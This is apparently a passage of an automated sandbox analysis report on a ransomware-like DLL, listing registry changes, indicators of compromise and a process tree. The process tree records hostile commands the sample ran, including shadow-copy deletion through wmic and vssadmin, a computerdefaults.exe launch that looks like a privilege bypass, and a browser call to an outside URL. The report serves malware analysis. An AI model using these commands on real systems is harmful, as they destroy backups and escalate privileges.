Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompatua\Cach = "265" Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-3624 = "microsoft.microsoftedge_8wekyb3d8bbwe/001" Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Extensible Cache MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\NextUpdateDate = "346019111" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 4864719828eed701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 52b47f9828eed701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CRLs MicrosoftEdge.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 2488 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 380 rundll32.exe 380 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2896 Process not Found -
Suspicious behavior: MapViewOfSection 10 IoCs
pid Process 380 rundll32.exe 380 rundll32.exe 380 rundll32.exe 380 rundll32.exe 380 rundll32.exe 380 rundll32.exe 380 rundll32.exe 380 rundll32.exe 1880 MicrosoftEdgeCP.exe 1880 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeShutdownPrivilege 2896 Process not Found Token: SeCreatePagefilePrivilege 2896 Process not Found Token: SeIncreaseQuotaPrivilege 1508 wmic.exe Token: SeSecurityPrivilege 1508 wmic.exe Token: SeTakeOwnershipPrivilege 1508 wmic.exe Token: SeLoadDriverPrivilege 1508 wmic.exe Token: SeSystemProfilePrivilege 1508 wmic.exe Token: SeSystemtimePrivilege 1508 wmic.exe Token: SeProfSingleProcessPrivilege 1508 wmic.exe Token: SeIncBasePriorityPrivilege 1508 wmic.exe Token: SeCreatePagefilePrivilege 1508 wmic.exe Token: SeBackupPrivilege 1508 wmic.exe Token: SeRestorePrivilege 1508 wmic.exe Token: SeShutdownPrivilege 1508 wmic.exe Token: SeDebugPrivilege 1508 wmic.exe Token: SeSystemEnvironmentPrivilege 1508 wmic.exe Token: SeRemoteShutdownPrivilege 1508 wmic.exe Token: SeUndockPrivilege 1508 wmic.exe Token: SeManageVolumePrivilege 1508 wmic.exe Token: 33 1508 wmic.exe Token: 34 1508 wmic.exe Token: 35 1508 wmic.exe Token: 36 1508 wmic.exe Token: SeIncreaseQuotaPrivilege 2892 WMIC.exe Token: SeSecurityPrivilege 2892 WMIC.exe Token: SeTakeOwnershipPrivilege 2892 WMIC.exe Token: SeLoadDriverPrivilege 2892 WMIC.exe Token: SeSystemProfilePrivilege 2892 WMIC.exe Token: SeSystemtimePrivilege 2892 WMIC.exe Token: SeProfSingleProcessPrivilege 2892 WMIC.exe Token: SeIncBasePriorityPrivilege 2892 WMIC.exe Token: SeCreatePagefilePrivilege 2892 WMIC.exe Token: SeBackupPrivilege 2892 WMIC.exe Token: SeRestorePrivilege 2892 WMIC.exe Token: SeShutdownPrivilege 2892 WMIC.exe Token: SeDebugPrivilege 2892 WMIC.exe Token: SeSystemEnvironmentPrivilege 2892 WMIC.exe Token: SeRemoteShutdownPrivilege 2892 WMIC.exe Token: SeUndockPrivilege 2892 WMIC.exe Token: SeManageVolumePrivilege 2892 WMIC.exe Token: 33 2892 WMIC.exe Token: 34 2892 WMIC.exe Token: 35 2892 WMIC.exe Token: 36 2892 WMIC.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2896 Process not Found 3508 MicrosoftEdge.exe 1880 MicrosoftEdgeCP.exe 1880 MicrosoftEdgeCP.exe 2896 Process not Found 2896 Process not Found -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 2896 Process not Found -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 380 wrote to memory of 2488 380 rundll32.exe 71 PID 380 wrote to memory of 2488 380 rundll32.exe 71 PID 380 wrote to memory of 1652 380 rundll32.exe 72 PID 380 wrote to memory of 1652 380 rundll32.exe 72 PID 380 wrote to memory of 1508 380 rundll32.exe 78 PID 380 wrote to memory of 1508 380 rundll32.exe 78 PID 380 wrote to memory of 3668 380 rundll32.exe 77 PID 380 wrote to memory of 3668 380 rundll32.exe 77 PID 380 wrote to memory of 2064 380 rundll32.exe 75 PID 380 wrote to memory of 2064 380 rundll32.exe 75 PID 2064 wrote to memory of 2892 2064 cmd.exe 80 PID 2064 wrote to memory of 2892 2064 cmd.exe 80 PID 3668 wrote to memory of 2976 3668 cmd.exe 81 PID 3668 wrote to memory of 2976 3668 cmd.exe 81 PID 1148 wrote to memory of 2972 1148 cmd.exe 91 PID 1148 wrote to memory of 2972 1148 cmd.exe 91 PID 1296 wrote to memory of 2116 1296 cmd.exe 90 PID 1296 wrote to memory of 2116 1296 cmd.exe 90 PID 1880 wrote to memory of 260 1880 MicrosoftEdgeCP.exe 99 PID 1880 wrote to memory of 260 1880 MicrosoftEdgeCP.exe 99 PID 1880 wrote to memory of 260 1880 MicrosoftEdgeCP.exe 99 PID 1880 wrote to memory of 260 1880 MicrosoftEdgeCP.exe 99 PID 1880 wrote to memory of 260 1880 MicrosoftEdgeCP.exe 99 PID 1880 wrote to memory of 260 1880 MicrosoftEdgeCP.exe 99
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\b6f05d97b118f9d042c3fe691e5de7e57a84e3ea12decc86ebced93f937acead.dll,#11⤵
- Modifies extensions of user files
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:2488
-
-
C:\Windows\system32\cmd.execmd /c "start http://7aa40280a03068106xtirqgc.mensell.uno/xtirqgc^&1^&43083978^&89^&329^&2215063"2⤵
- Checks computer location settings
PID:1652
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2892
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵PID:2976
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1508
-
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:2972
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1496
-
C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:2116
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1480
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3508
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:2792
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1880
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:260
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4220